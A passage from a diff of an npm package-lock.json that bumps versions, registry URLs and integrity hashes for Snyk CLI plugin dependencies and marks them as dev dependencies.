"https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true }, "yallist": { "version": "4.0.0", "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", - "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==" + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true } } }, - "snyk-mvn-plugin": { - "version": "2.19.1", - "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.19.1.tgz", - "integrity": "sha512-VXYJSdhUmOQAyxdsv5frAKbi3UOcHPabWEQxQ9wxhVBEEmx2lP5ajv1a+ntxwWwL7u3jdc+rnCIKHpLlQJ5nyw==", + "snyk-docker-plugin": { + "version": "4.19.3", + "resolved": "https://registry.npmjs.org/snyk-docker-plugin/-/snyk-docker-plugin-4.19.3.tgz", + "integrity": "sha512-5WkXyT7uY5NrTOvEqxeMqb6dDcskT3c/gbHUTOyPuvE6tMut+OOYK8RRXbwZFeLzpS8asq4e1R7U7syYG3VXwg==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.8.1", - "@snyk/java-call-graph-builder": "1.13.1", + "@snyk/dep-graph": "^1.21.0", + "@snyk/rpm-parser": "^2.0.0", + "@snyk/snyk-docker-pull": "3.2.3", + "chalk": "^2.4.2", "debug": "^4.1.1", - "needle": "^2.5.0", - "tmp": "^0.1.0", - "tslib": "1.11.1" + "docker-modem": "2.1.3", + "dockerfile-ast": "0.2.0", + "elfy": "^1.0.0", + "event-loop-spinner": "^2.0.0", + "gunzip-maybe": "^1.4.2", + "mkdirp": "^1.0.4", + "semver": "^7.3.4", + "snyk-nodejs-lockfile-parser": "1.30.2", + "tar-stream": "^2.1.0", + "tmp": "^0.2.1", + "tslib": "^1", + "uuid": "^8.2.0" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "mkdirp": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/mkdirp/-/mkdirp-1.0.4.tgz", + "integrity": "sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==", + "dev": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "semver": { + "version": "7.3.5", + "resolved": "https://registry.npmjs.org/semver/-/semver-7.3.5.tgz", + "integrity": "sha512-PoeGJYh8HK4BTO/a9Tf6ZG3veo/A7ZVsYrSA6J8ny9nb3B1VrpkuN+z9OE5wfE5p6H4LchYZsegiQgbJD94ZFQ==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "snyk-nodejs-lockfile-parser": { + "version": "1.30.2", + "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.30.2.tgz", + "integrity": "sha512-wI3VXVYO/ok0uaQm5i+Koo4rKBNilYC/QRIQFlyGbZXf+WBdRcTBKVDfTy8uNfUhMRSGzd84lNclMnetU9Y+vw==", + "dev": true, + "requires": { + "@snyk/graphlib": "2.1.9-patch.3", + "@yarnpkg/lockfile": "^1.1.0", + "event-loop-spinner": "^2.0.0", + "got": "11.4.0", + "lodash.clonedeep": "^4.5.0", + "lodash.flatmap": "^4.5.0", + "lodash.isempty": "^4.4.0", + "lodash.set": "^4.3.2", + "lodash.topairs": "^4.3.0", + "p-map": "2.1.0", + "snyk-config": "^4.0.0-rc.2", + "tslib": "^1.9.3", + "uuid": "^8.3.0", + "yaml": "^1.9.2" + } + }, + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } + }, + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "snyk-go-parser": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/snyk-go-parser/-/snyk-go-parser-1.4.1.tgz", + "integrity": "sha512-StU3uHB85VMEkcgXta63M0Fgd+9cs5sMCjQXTBoYTdE4dxarPn7U67yCuwkRRdZdny1ZXtzfY8LKns9i0+dy9w==", + "dev": true, + "requires": { + "toml": "^3.0.0", + "tslib": "^1.10.0" + } + }, + "snyk-go-plugin": { + "version": "1.17.0", + "resolved": "https://registry.npmjs.org/snyk-go-plugin/-/snyk-go-plugin-1.17.0.tgz", + "integrity": "sha512-1jAYPRgMapO2BYL+HWsUq5gsAiDGmI0Pn7omc0lk24tcUOMhUB+1hb0u9WBMNzHvXBjevBkjOctjpnt2hMKN6Q==", + "dev": true, + "requires": { + "@snyk/dep-graph": "^1.23.1", + "@snyk/graphlib": "2.1.9-patch.3", + "debug": "^4.1.1", + "snyk-go-parser": "1.4.1", + "tmp": "0.2.1", + "tslib": "^1.10.0" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" } }, "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } + } + } + }, + "snyk-gradle-plugin": { + "version": "3.14.0", + "resolved": "https://registry.npmjs.org/snyk-gradle-plugin/-/snyk-gradle-plugin-3.14.0.tgz", + "integrity": "sha512-2A8ifM91TyzSx/U2fYvHXbaCRVsEx60hGFQjbSH9Hl9AokxEzMi2qti7wsObs1jUX2m198D1mdXu4k/Y1jWxXg==", + "dev": true, + "requires": { + "@snyk/cli-interface": "2.11.0", + "@snyk/dep-graph": "^1.28.0", + "@snyk/java-call-graph-builder": "1.20.0", + "@types/debug": "^4.1.4", + "chalk": "^3.0.0", + "debug": "^4.1.1", + "tmp": "0.2.1", + "tslib": "^2.0.0" + }, + "dependencies": { + "ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "requires": { + "color-convert": "^2.0.1" + } + }, + "chalk": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-3.0.0.tgz", + "integrity": "sha512-4D3B6Wf41KOYRFdszmDqMCGq5VV/uMAB273JILmO+3jAlh8X4qDtdtgCR3fxtbLEMzSx22QdhnDcJvu2u1fVwg==", + "dev": true, + "requires": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + } + }, + "color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "requires": { + "color-name": "~1.1.4" + } + }, + "color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "has-flag": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/has-flag/-/has-flag-4.0.0.tgz", + "integrity": "sha512-EykJT/Q1KjTWctppgIAgfSO0tKVuZUjhgMr17kqTumMl6Afv3EISleU7qZUzoXDFTAHTDC4NOoG/ZxU3EvlMPQ==", + "dev": true + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + }, + "supports-color": { + "version": "7.2.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-7.2.0.tgz", + "integrity": "sha512-qpCAvRl9stuOHveKsn7HncJRvv501qIacKzQlO/+Lwxc9+0q2wLyv4Dfvt80/DPn2pqOBsJdDiogXGR9+OvwRw==", + "dev": true, + "requires": { + "has-flag": "^4.0.0" + } + }, + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } + }, + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true + } + } + }, + "snyk-module": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/snyk-module/-/snyk-module-3.1.0.tgz", + "integrity": "sha512-HHuOYEAACpUpkFgU8HT57mmxmonaJ4O3YADoSkVhnhkmJ+AowqZyJOau703dYHNrq2DvQ7qYw81H7yyxS1Nfjw==", + "dev": true, + "requires": { + "debug": "^4.1.1", + "hosted-git-info": "^3.0.4" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "hosted-git-info": { + "version": "3.0.8", + "resolved": "https://registry.npmjs.org/hosted-git-info/-/hosted-git-info-3.0.8.tgz", + "integrity": "sha512-aXpmwoOhRBrw6X3j0h5RloK4x1OzsxMPyxqIHyNfSe2pypkVTZFpEiRoSipPEPlMrh0HW/XsjkJ5WgnCirpNUw==", + "dev": true, + "requires": { + "lru-cache": "^6.0.0" + } + }, + "lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "requires": { + "yallist": "^4.0.0" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "yallist": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/yallist/-/yallist-4.0.0.tgz", + "integrity": "sha512-3wdGidZyq5PB084XLES5TpOSRA3wjXAlIWMhum2kRcv/41Sn2emQ0dycQW4uZXLejwKvg6EsvbdlVL+FYEct7A==", + "dev": true + } + } + }, + "snyk-mvn-plugin": { + "version": "2.25.3", + "resolved": "https://registry.npmjs.org/snyk-mvn-plugin/-/snyk-mvn-plugin-2.25.3.tgz", + "integrity": "sha512-JAxOThX51JDbgMMjp3gQDVi07G9VgTYSF06QC7f5LNA0zoXNr743e2rm78RGw5bqE3JRjZxEghiLHPPuvS5DDg==", + "dev": true, + "requires": { + "@snyk/cli-interface": "2.11.0", + "@snyk/dep-graph": "^1.23.1", + "@snyk/java-call-graph-builder": "1.19.1", + "debug": "^4.1.1", + "glob": "^7.1.6", + "needle": "^2.5.0", + "tmp": "^0.1.0", + "tslib": "1.11.1" + }, + "dependencies": { + "@snyk/java-call-graph-builder": { + "version": "1.19.1", + "resolved": "https://registry.npmjs.org/@snyk/java-call-graph-builder/-/java-call-graph-builder-1.19.1.tgz", + "integrity": "sha512-bxjHef5Qm3pNc+BrFlxMudmSSbOjA395ZqBddc+dvsFHoHeyNbiY56Y1JSGUlTgjRM+PKNPBiCuELTSMaROeZg==", + "dev": true, + "requires": { + "@snyk/graphlib": "2.1.9-patch.3", + "ci-info": "^2.0.0", + "debug": "^4.1.1", + "glob": "^7.1.6", + "jszip": "^3.2.2", + "needle": "^2.3.3", + "progress": "^2.0.3", + "snyk-config": "^4.0.0-rc.2", + "source-map-support": "^0.5.7", + "temp-dir": "^2.0.0", + "tmp": "^0.2.1", + "tslib": "^1.9.3", + "xml-js": "^1.6.11" + }, + "dependencies": { + "tmp": { + "version": "0.2.1", + "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.2.1.tgz", + "integrity": "sha512-76SUhtfqR2Ijn+xllcI5P1oyannHNHByD80W1q447gU3mp9G9PSpGdWmjUOHRDPiHYacIk66W7ubDTuPF3BEtQ==", + "dev": true, + "requires": { + "rimraf": "^3.0.0" + } + } + } + }, + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "rimraf": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-3.0.2.tgz", + "integrity": "sha512-JZkJMZkAGFFPP2YqXZXPbMlMBgsxzE8ILs4lMIX/2o0L9UBw9O/Y3o6wFw/i9YLapcUJWwqbi3kdxIPdC62TIA==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } }, "tmp": { "version": "0.1.0", "resolved": "https://registry.npmjs.org/tmp/-/tmp-0.1.0.tgz", "integrity": "sha512-J7Z2K08jbGcdA1kkQpJSqLF6T0tdQqpR2pnSUXsIchbPdTI9v3e85cLW0d6WDhwuAleOV71j2xWs8qMPfK7nKw==", + "dev": true, "requires": { "rimraf": "^2.6.3" + }, + "dependencies": { + "rimraf": { + "version": "2.7.1", + "resolved": "https://registry.npmjs.org/rimraf/-/rimraf-2.7.1.tgz", + "integrity": "sha512-uWjbaKIK3T1OSVptzX7Nl6PvQ3qAGtKEtVRjRuazjfL3Bx5eI409VZSqgND+4UNnmzLVdPj9FqFJNPqBZFve4w==", + "dev": true, + "requires": { + "glob": "^7.1.3" + } + } } }, "tslib": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==" + "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", + "dev": true } } }, "snyk-nodejs-lockfile-parser": { - "version": "1.26.3", - "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.26.3.tgz", - "integrity": "sha512-mBQ6vhnXAeyMxlnl9amjJWpA+/3qqXwM8Sj/P+9uH2TByOFLxdGzMNQFcl3q/H2yUdcs/epVdXJp09A2dK2glA==", + "version": "1.32.0", + "resolved": "https://registry.npmjs.org/snyk-nodejs-lockfile-parser/-/snyk-nodejs-lockfile-parser-1.32.0.tgz", + "integrity": "sha512-FdYa/7NibnJPqBfobyw5jgI1/rd0LpMZf2W4WYYLRc2Hz7LZjKAByPjIX6qoA+lB9SC7yk5HYwWj2n4Fbg/DDw==", + "dev": true, "requires": { - "@snyk/graphlib": "2.1.9-patch", - "@yarnpkg/core": "^2.0.0-rc.29", + "@snyk/graphlib": "2.1.9-patch.3", + "@yarnpkg/core": "^2.4.0", "@yarnpkg/lockfile": "^1.1.0", "event-loop-spinner": "^2.0.0", + "got": "11.4.0", "lodash.clonedeep": "^4.5.0", "lodash.flatmap": "^4.5.0", "lodash.isempty": "^4.4.0", "lodash.set": "^4.3.2", "lodash.topairs": "^4.3.0", "p-map": "2.1.0", - "snyk-config": "^3.0.0", - "source-map-support": "^0.5.7", + "snyk-config": "^4.0.0-rc.2", "tslib": "^1.9.3", - "uuid": "^3.3.2", + "uuid": "^8.3.0", "yaml": "^1.9.2" + }, + "dependencies": { + "uuid": { + "version": "8.3.2", + "resolved": "https://registry.npmjs.org/uuid/-/uuid-8.3.2.tgz", + "integrity": "sha512-+NYs2QeMWy+GWFOEm9xnn6HCDp0l7QBD7ml8zLUmJ+93Q5NF0NocErnwkTkXVFNiX3/fpC6afS8Dhb/gz7R7eg==", + "dev": true + } } }, "snyk-nuget-plugin": { - "version": "1.18.1", - "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.18.1.tgz", - "integrity": "sha512-Bq+IzbyewxIrUhgdFaDKS5wCNixERC7QBitKsZGM3uCOr9fJM8rr5qg5SS9UIU7eyeKvzuVO/V1yDzjo1cKvUw==", + "version": "1.21.0", + "resolved": "https://registry.npmjs.org/snyk-nuget-plugin/-/snyk-nuget-plugin-1.21.0.tgz", + "integrity": "sha512-c/JYF3sZzMN/lYz171zrEkVcPqDVcUTVgKIKHiL8nhhuFKxZQ1gzqOgk+lnfN31TLoTNQsZ3DhW/WY+4zEALvw==", + "dev": true, "requires": { - "@snyk/lodash": "4.17.15-patch", "debug": "^4.1.1", - "dotnet-deps-parser": "4.10.0", - "jszip": "3.3.0", + "dotnet-deps-parser": "5.0.0", + "jszip": "3.4.0", "snyk-paket-parser": "1.6.0", "tslib": "^1.11.2", "xml2js": "^0.4.17" }, "dependencies": { "debug": { - "version": "4.1.1", - "resolved": "https://registry.npmjs.org/debug/-/debug-4.1.1.tgz", - "integrity": "sha512-pYAIzeRo8J6KPEaJ0VWOh5Pzkbw/RetuzehGM7QRRX5he4fPHx2rdKMB256ehJCkX+XRQm16eZLqLNS8RSZXZw==", + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, "requires": { - "ms": "^2.1.1" + "ms": "2.1.2" } }, "jszip": { - "version": "3.3.0", - "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.3.0.tgz", - "integrity": "sha512-EJ9k766htB1ZWnsV5ZMDkKLgA+201r/ouFF8R2OigVjVdcm2rurcBrrdXaeqBJbqnUVMko512PYmlncBKE1Huw==", + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.4.0.tgz", + "integrity": "sha512-gZAOYuPl4EhPTXT0GjhI3o+ZAz3su6EhLrKUoAivcKqyqC7laS5JEv4XWZND9BgcDcF83vI85yGbDmDR6UhrIg==", + "dev": true, "requires": { "lie": "~3.3.0", "pako": "~1.0.2", @@ -15450,7 +19764,14 @@ "ms": { "version": "2.1.2", "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", - "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==" + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "pako": { + "version": "1.0.11", + "resolved": "https://registry.npmjs.org/pako/-/pako-1.0.11.tgz", + "integrity": "sha512-4hLB8Py4zZce5s4yd9XzopqwVv/yGNhV1Bl8NTmCq1763HeK2+EwVTv+leGeL13Dnh2wfbqowVPXCIO0z4taYw==", + "dev": true } } }, @@ -15458,139 +19779,178 @@ "version": "1.6.0", "resolved": "https://registry.npmjs.org/snyk-paket-parser/-/snyk-paket-parser-1.6.0.tgz", "integrity": "sha512-6htFynjBe/nakclEHUZ1A3j5Eu32/0pNve5Qm4MFn3YQmJgj7UcAO8hdyK3QfzEY29/kAv/rkJQg+SKshn+N9Q==", + "dev": true, "requires": { "tslib": "^1.9.3" } }, "snyk-php-plugin": { - "version": "1.9.0", - "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.0.tgz", - "integrity": "sha512-uORrEoC47dw0ITZYu5vKqQtmXnbbQs+ZkWeo5bRHGdf10W8e4rNr1S1R4bReiLrSbSisYhVHeFMkdOAiLIPJVQ==", + "version": "1.9.2", + "resolved": "https://registry.npmjs.org/snyk-php-plugin/-/snyk-php-plugin-1.9.2.tgz", + "integrity": "sha512-IQcdsQBqqXVRY5DatlI7ASy4flbhtU2V7cr4P2rK9rkFnVHO6LHcitwKXVZa9ocdOmpZDzk7U6iwHJkVFcR6OA==", + "dev": true, "requires": { - "@snyk/cli-interface": "2.3.2", - "@snyk/composer-lockfile-parser": "1.4.0", + "@snyk/cli-interface": "^2.9.1", + "@snyk/composer-lockfile-parser": "^1.4.1", "tslib": "1.11.1" }, "dependencies": { - "@snyk/cli-interface": { - "version": "2.3.2", - "resolved": "https://registry.npmjs.org/@snyk/cli-interface/-/cli-interface-2.3.2.tgz", - "integrity": "sha512-jmZyxVHqzYU1GfdnWCGdd68WY/lAzpPVyqalHazPj4tFJehrSfEFc82RMTYAMgXEJuvFRFIwhsvXh3sWUhIQmg==", - "requires": { - "tslib": "^1.9.3" - } - }, "tslib": { "version": "1.11.1", "resolved": "https://registry.npmjs.org/tslib/-/tslib-1.11.1.tgz", - "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==" + "integrity": "sha512-aZW88SY8kQbU7gpV19lN24LtXh/yD4ZZg6qieAJDDg+YBsJcSmLGK9QpnUjAKVG/xefmvJGd1WUmfpT/g6AJGA==", + "dev": true + } + } + }, + "snyk-poetry-lockfile-parser": { + "version": "1.1.6", + "resolved": "https://registry.npmjs.org/snyk-poetry-lockfile-parser/-/snyk-poetry-lockfile-parser-1.1.6.tgz", + "integrity": "sha512-MoekbWOZPj9umfukjk2bd2o3eRj0OyO+58sxq9crMtHmTlze4h0/Uj4+fb0JFPBOtBO3c2zwbA+dvFQmpKoOTA==", + "dev": true, + "requires": { + "@snyk/cli-interface": "^2.9.2", + "@snyk/dep-graph": "^1.23.0", + "debug": "^4.2.0", + "toml": "^3.0.0", + "tslib": "^2.0.0" + }, + "dependencies": { + "debug": { + "version": "4.3.1", + "resolved": "https://registry.npmjs.org/debug/-/debug-4.3.1.tgz", + "integrity": "sha512-doEwdvm4PCeK4K3RQN2ZC2BYUBaxwLARCqZmMjtF8a51J2Rb0xpVloFRnCODwqjpwnAoao4pelN8l3RJdv3gRQ==", + "dev": true, + "requires": { + "ms": "2.1.2" + } + }, + "ms": { + "version": "2.1.2", + "resolved": "https://registry.npmjs.org/ms/-/ms-2.1.2.tgz", + "integrity": "sha512-sGkPx+VjMtmA6MX27oA4FBFELFCZZ4S4XqeGOXCv68tT+jb3vk/RyaKWP0PTKyWtmLSM0b+adUTEvbs1PEaH2w==", + "dev": true + }, + "tslib": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.2.0.tgz", + "integrity": "sha512-gS9GVHRU+RGn5KQM2rllAlR3dU6m7AcpJKdtH8gFvQiC4Otgk98XnmMU+nZenHt/+VhnBPWwgrJsyrdcw6i23w==", + "dev": true } } }, "snyk-policy": { - "version": "1.14.1", - "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.14.1.tgz", - "integrity": "sha512-C5vSkoBYxPnaqb218sm4m6N5s1BhIXlldpIX5xRNnZ0QkDwVj3dy/PfgwxRgVQh7QFGa1ajbvKmsGmm4RRsN8g==", + "version": "1.19.0", + "resolved": "https://registry.npmjs.org/snyk-policy/-/snyk-policy-1.19.0.tgz", + "integrity": "sha512-XYjhOTRPFA7NfDUsH6uH1fbML2OgSFsqdUPbud7x01urNP9CHXgUgAD4NhKMi3dVQK+7IdYadWt0wrFWw4y+qg==", + "dev": true, "requires": { "debug": "^4.1.1", "email-validator": "^2.0.4", "js-yaml": "^3.13.1", "lodash.clonedeep": "^4.5.0", + "promise-fs": "^2.1.1", "semver": "^6.0.0", - "snyk-module": "^2.0.2", - "snyk-resolve": "^1.0.1", - "snyk-try-require": "^1.3.1", - "then-fs": "^2.0.0" + "snyk-module": "^3.0.0", + "snyk-resolve": "^1.1.0", 